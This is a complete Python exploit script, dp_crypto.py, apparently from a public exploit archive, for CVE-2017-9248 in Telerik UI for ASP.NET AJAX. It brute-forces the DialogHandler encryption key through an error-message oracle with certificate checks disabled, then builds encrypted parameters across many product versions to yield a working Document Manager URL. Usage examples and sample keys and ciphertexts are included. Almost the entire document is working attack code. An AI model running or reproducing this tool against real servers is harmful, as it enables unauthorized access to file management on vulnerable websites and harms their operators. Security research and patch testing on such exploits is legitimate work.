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# Exploit Title: Telerik UI for ASP.NET AJAX DialogHandler Dialog cracker # Filename: dp_crypto.py # Github: https://github.com/bao7uo/dp_crypto # Date: 2018-01-23 # Exploit Author: Paul Taylor / Foregenix Ltd # Website: http://www.foregenix.com/blog # Version: Telerik UI for ASP.NET AJAX # CVE: CVE-2017-9248 # Vendor Advisory: https://www.telerik.com/support/kb/aspnet-ajax/details/cryptographic-weakness # Tested on: Working on versions 2012.3.1308 thru 2017.1.118 (.NET 35, 40, 45) #!/usr/bin/python3 # Author: Paul Taylor / Foregenix Ltd # https://github.com/bao7uo/dp_crypto/blob/master/dp_crypto.py # dp_crypto - CVE-2017-9248 exploit # Telerik.Web.UI.dll Cryptographic compromise # Warning - no cert warnings, # and verify = False in code below prevents verification import sys import base64 import requests import re import binascii from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) requests_sent = 0 char_requests = 0 def get_result(plaintext, key, session, pad_chars): global requests_sent, char_requests url = sys.argv[2] base_pad = (len(key) % 4) base = '' if base_pad == 0 else pad_chars[0:4 - base_pad] dp_encrypted = base64.b64encode( (encrypt(plaintext, key) + base).encode() ).decode() request = requests.Request('GET', url + '?dp=' + dp_encrypted) request = request.prepare() response = session.send(request, verify=False) requests_sent += 1 char_requests += 1 match = re.search("(Error Message:)(.+\n*.+)(</div>)", response.text) return True \ if match is not None \ and match.group(2) == "Index was outside the bounds of the array." \ else False def test_keychar(keychar, found, session, pad_chars): base64chars = [ "A", "Q", "g", "w", "B", "R", "h", "x", "C", "S", "i", "y", "D", "T", "j", "z", "E", "U", "k", "0", "F", "V", "l", "1", "G", "W", "m", "2", "H", "X", "n", "3", "I", "Y", "o", "4", "J", "Z", "p", "5", "K", "a", "q", "6", "L", "b", "r", "7", "M", "c", "s", "8", "N", "d", "t", "9", "O", "e", "u", "+", "P", "f", "v", "/" ] duff = False accuracy_thoroughness_threshold = sys.argv[5] for bc in range(int(accuracy_thoroughness_threshold)): # ^^ max is len(base64chars) sys.stdout.write("\b\b" + base64chars[bc] + "]") sys.stdout.flush() if not get_result( base64chars[0] * len(found) + base64chars[bc], found + keychar, session, pad_chars ): duff = True break return False if duff else True def encrypt(dpdata, key): encrypted = [] k = 0 for i in range(len(dpdata)): encrypted.append(chr(ord(dpdata[i]) ^ ord(key[k]))) k = 0 if k >= len(key) - 1 else k + 1 return ''.join(str(e) for e in encrypted) def mode_decrypt(): ciphertext = base64.b64decode(sys.argv[2].encode()).decode() key = sys.argv[3] print(base64.b64decode(encrypt(ciphertext, key)).decode()) print("") def mode_encrypt(): plaintext = sys.argv[2] key = sys.argv[3] plaintext = base64.b64encode(plaintext.encode()).decode() print(base64.b64encode(encrypt(plaintext, key).encode()).decode()) print("") def test_keypos(key_charset, unprintable, found, session): pad_chars = '' for pad_char in range(256): pad_chars += chr(pad_char) for i in range(len(pad_chars)): for k in range(len(key_charset)): keychar = key_charset[k] sys.stdout.write("\b"*6) sys.stdout.write( ( keychar if unprintable is False else '+' ) + ") [" + ( keychar if unprintable is False else '+' ) + "]" ) sys.stdout.flush() if test_keychar(keychar, found, session, pad_chars[i] * 3): return keychar return False def get_key(session): global char_requests found = '' unprintable = False key_length = sys.argv[3] key_charset = sys.argv[4] if key_charset == 'all': unprintable = True key_charset = '' for i in range(256): key_charset += chr(i) else: if key_charset == 'hex': key_charset = '01234567890ABCDEF' print("Attacking " + sys.argv[2]) print( "to find key of length [" + str(key_length) + "] with accuracy threshold [" + sys.argv[5] + "]" ) print( "using key charset [" + ( key_charset if unprintable is False else '- all ASCII -' ) + "]\n" ) for i in range(int(key_length)): pos_str = ( str(i + 1) if i > 8 else "0" + str(i + 1) ) sys.stdout.write("Key position " + pos_str + ": (------") sys.stdout.flush() keychar = test_keypos(key_charset, unprintable, found, session) if keychar is not False: found = found + keychar sys.stdout.write( "\b"*7 + "{" + ( keychar if unprintable is False else '0x' + binascii.hexlify(keychar.encode()).decode() ) + "} found with " + str(char_requests) + " requests, total so far: " + str(requests_sent) + "\n" ) sys.stdout.flush() char_requests = 0 else: sys.stdout.write("\b"*7 + "Not found, quitting\n") sys.stdout.flush() break if keychar is not False: print("Found key: " + ( found if unprintable is False else "(hex) " + binascii.hexlify(found.encode()).decode() ) ) print("Total web requests: " + str(requests_sent)) return found def mode_brutekey(): session = requests.Session() found = get_key(session) if found == '': return else: urls = {} url_path = sys.argv[2] params = ( '?DialogName=DocumentManager' + '&renderMode=2' + '&Skin=Default' + '&Title=Document%20Manager' + '&dpptn=' + '&isRtl=false' + '&dp=' ) versions = [ '2007.1423', '2007.1521', '2007.1626', '2007.2918', '2007.21010', '2007.21107', '2007.31218', '2007.31314', '2007.31425', '2008.1415', '2008.1515', '2008.1619', '2008.2723', '2008.2826', '2008.21001', '2008.31105', '2008.31125', '2008.31314', '2009.1311', '2009.1402', '2009.1527', '2009.2701', '2009.2826', '2009.31103', '2009.31208', '2009.31314', '2010.1309', '2010.1415', '2010.1519', '2010.2713', '2010.2826', '2010.2929', '2010.31109', '2010.31215', '2010.31317', '2011.1315', '2011.1413', '2011.1519', '2011.2712', '2011.2915', '2011.31115', '2011.3.1305', '2012.1.215', '2012.1.411', '2012.2.607', '2012.2.724', '2012.2.912', '2012.3.1016', '2012.3.1205', '2012.3.1308', '2013.1.220', '2013.1.403', '2013.1.417', '2013.2.611', '2013.2.717', '2013.3.1015', '2013.3.1114', '2013.3.1324', '2014.1.225', '2014.1.403', '2014.2.618', '2014.2.724', '2014.3.1024', '2015.1.204', '2015.1.225', '2015.1.401', '2015.2.604', '2015.2.623', '2015.2.729', '2015.2.826', '2015.3.930', '2015.3.1111', '2016.1.113', '2016.1.225', '2016.2.504', '2016.2.607', '2016.3.914', '2016.3.1018', '2016.3.1027', '2017.1.118', '2017.1.228', '2017.2.503', '2017.2.621', '2017.2.711', '2017.3.913' ] plaintext1 = 'EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,' plaintext2_raw1 = 'Telerik.Web.UI.Editor.DialogControls.DocumentManagerDialog, Telerik.Web.UI, Version=' plaintext2_raw3 = ', Culture=neutral, PublicKeyToken=121fae78165ba3d4' plaintext3 = ';AllowMultipleSelection,False,3,False' for version in versions: plaintext2_raw2 = version plaintext2 = base64.b64encode( (plaintext2_raw1 + plaintext2_raw2 + plaintext2_raw3 ).encode() ).decode() plaintext = plaintext1 + plaintext2 + plaintext3 plaintext = base64.b64encode( plaintext.encode() ).decode() ciphertext = base64.b64encode( encrypt( plaintext, found ).encode() ).decode() full_url = url_path + params + ciphertext urls[version] = full_url found_valid_version = False for version in urls: url = urls[version] request = requests.Request('GET', url) request = request.prepare() response = session.send(request, verify=False) if response.status_code == 500: continue else: match = re.search( "(Error Message:)(.+\n*.+)(</div>)", response.text ) if match is None: print(version + ": " + url) found_valid_version = True break if not found_valid_version: print("No valid version found") def mode_samples(): print("Samples for testing decryption and encryption functions:") print("-d ciphertext key") print("-e plaintext key") print("") print("Key:") print("DC50EEF37087D124578FD4E205EFACBE0D9C56607ADF522D") print("") print("Plaintext:") print("EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,VGVsZXJpay5XZWIuVUkuRWRpdG9yLkRpYWxvZ0NvbnRyb2xzLkRvY3VtZW50TWFuYWdlckRpYWxvZywgVGVsZXJpay5XZWIuVUksIFZlcnNpb249MjAxNi4yLjUwNC40MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0xMjFmYWU3ODE2NWJhM2Q0;AllowMultipleSelection,False,3,False") print("") print("Ciphertext:") print("FhQAWBwoPl9maHYCJlx8YlZwQDAdYxRBYlgDNSJxFzZ9PUEWVlhgXHhxFipXdWR0HhV3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMLciMVMnN9AFJ0Z2EDWG4sPCpnZQMtHhRnWx8SFHBuaHZbEQJgAVdwbjwlcxNeVHY9ARgUOj9qF045eXBkSVMWEXFgX2QxHgRjSRESf1htY0BwHWZKTm9kTz8IcAwFZm0HNSNxBC5lA39zVH57Q2EJDndvYUUzCAVFRBw/KmJiZwAOCwB8WGxvciwlcgdaVH0XKiIudz98Ams6UWFjQ3oCPBJ4X0EzHXJwCRURMnVVXX5eJnZkcldgcioecxdeanMLNCAUdz98AWMrV354XHsFCTVjenh1HhdBfhwdLmVUd0BBHWZgc1RgQCoRBikEamY9ARgUOj9qF047eXJ/R3kFIzF4dkYJJnF7WCcCKgVuaGpHJgMHZWxvaikIcR9aUn0LKg0HAzZ/dGMzV3Fgc1QsfXVWAGQ9FXEMRSECEEZTdnpOJgJoRG9wbj8SfClFamBwLiMUFzZiKX8wVgRjQ3oCM3FjX14oIHJ3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMDMBEXNg9TdXcxVGEDZVVyEixUcUoDHRRNSh8WMUl7dWJfJnl8WHoHbnIgcxNLUlgDNRMELi1SAwAtVgd0WFMGIzVnX3Q3J3FgQwgGMQRjd35CHgJkXG8FbTUWWQNBUwcQNQwAOiRmPmtzY1psfmcVMBNvZUooJy5ZQgkuFENuZ0BBHgFgWG9aVDMlbBdCUgdxMxMELi1SAwAtY35aR20UcS5XZWc3Fi5zQyZ3E0B6c0BgFgBoTmJbUA0ncwMHfmMtJxdzLnRmKG8xUWB8aGIvBi1nSF5xEARBYyYDKmtSeGJWCXQHBmxaDRUhYwxLVX01CyByCHdnEHcUUXBGaHkVBhNjAmh1ExVRWycCCEFiXnptEgJaBmJZVHUeBR96ZlsLJxYGMjJpHFJyYnBGaGQZEhFjZUY+FxZvUScCCEZjXnpeCVtjAWFgSAQhcXBCfn0pCyAvFHZkL3RzeHMHdFNzIBR4A2g+HgZdZyATNmZ6aG5WE3drQ2wFCQEnBD12YVkDLRdzMj9pEl0MYXBGaVUHEi94XGA3HS5aRyAAd0JlXQltEgBnTmEHagAJX3BqY1gtCAwvBzJ/dH8wV3EPA2MZEjVRdV4zJgRjZB8SPl9uA2pHJgMGR2dafjUnBhBBfUw9ARgUOj9qFQR+") print("") def mode_b64e(): print(base64.b64encode(sys.argv[2].encode()).decode()) print("") def mode_b64d(): print(base64.b64decode(sys.argv[2].encode()).decode()) print("") def mode_help(): print("Usage:") print("") print("Decrypt a ciphertext:-d ciphertext key") print("Encrypt a plaintext: -e plaintext key") print("Bruteforce key/generate URL: -k url key_length key_charset accuracy") print("Encode parameter to base64:-b plain_parameter") print("Decode base64 parameter: -p encoded_parameter") print("") print("To test all ascii characters set key_charset to: all, " + "for upper case hex (e.g. machine key) set to hex.") print("") print("Maximum accuracy is out of 64 where 64 is the most accurate, " + "accuracy of 9 will usually suffice for a hex, but 21 or more " + "might be needed when testing all ascii characters.") print("Increase the accuracy argument if no valid version is found.") print("") print("Examples to generate a valid file manager URL:") print("./dp_crypto.py -k http://a/Telerik.Web.UI.DialogHandler.aspx 48 hex 9") print("./dp_crypto.py -k http://a/Telerik.Web.UI.DialogHandler.aspx 48 all 21") print("") sys.stderr.write( "\ndp_crypto by Paul Taylor / Foregenix Ltd\nCVE-2017-9248 - " + "Telerik.Web.UI.dll Cryptographic compromise\n\n" ) if len(sys.argv) < 2: mode_help() elif sys.argv[1] == "-d" and len(sys.argv) == 4: mode_decrypt() elif sys.argv[1] == "-e" and len(sys.argv) == 4: mode_encrypt() elif sys.argv[1] == "-k" and len(sys.argv) == 6: mode_brutekey() elif sys.argv[1] == "-s" and len(sys.argv) == 2: mode_samples() elif sys.argv[1] == "-b" and len(sys.argv) == 3: mode_b64e() elif sys.argv[1] == "-p" and len(sys.argv) == 3: mode_b64d() else: mode_help() |
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